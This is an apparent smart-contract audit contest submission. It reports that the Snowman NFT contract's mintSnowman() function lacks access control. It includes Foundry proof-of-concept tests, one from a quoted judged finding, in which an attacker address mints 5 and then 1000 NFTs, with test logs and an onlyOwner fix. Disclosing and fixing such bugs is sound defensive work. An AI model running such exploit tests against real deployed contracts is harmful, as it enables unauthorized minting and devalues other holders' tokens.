Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Missing Access Control

Root + Impact

Root cause: Missing access control on mintSnowman() allows any address to mint NFTs.
Impact: Anyone can mint unlimited NFTs, destroying scarcity and value.

Description

  • Normally, minting functions should be restricted to the contract owner or authorized roles to control supply.
    However, the mintSnowman() function is declared as external without any modifier, meaning any external caller can execute it.

// Root cause in the codebase with @> marks to highlight the relevant section
function mintSnowman(address receiver, uint256 amount) external {
// @> No access control modifier (e.g., onlyOwner)
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • The function is callable by anyone at any time.

  • There are no prerequisites (e.g., payment, whitelist) – it's completely unrestricted.

Impact:

  • An attacker can mint arbitrary amounts of NFTs, inflating total supply and devaluing existing tokens.

  • The project’s economy and trust are destroyed; NFTs become worthless.

Proof of Concept

The following Foundry test proves that a non-owner address can mint NFTs:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/Snowman.sol";
contract SnowmanTest is Test {
Snowman public snowman;
address public owner = address(this); // The contract that carries out the test is with the owner.
address public attacker = address(0x123); // fake attacker address
function setUp() public {
// Publish the contract with a blank SVG file (sufficient for testing).
snowman = new Snowman("dummyURI");
}
function testMissingAccessControl() public {
// Record the balance before writing the NFT
uint256 balanceBefore = snowman.balanceOf(attacker);
uint256 counterBefore = snowman.getTokenCounter();
vm.prank(attacker); // It simulates that the caller is an attacker.
snowman.mintSnowman(attacker, 5);
uint256 balanceAfter = snowman.balanceOf(attacker);
assertEq(balanceAfter, balanceBefore + 5, "Balance should increase by 5");
uint256 counterAfter = snowman.getTokenCounter();
assertEq(counterAfter, counterBefore + 5, "Token counter should increase by 5");
}
}

Recommended Mitigation

Add the onlyOwner modifier (imported from OpenZeppelin’s Ownable) to restrict minting to the contract owner.

- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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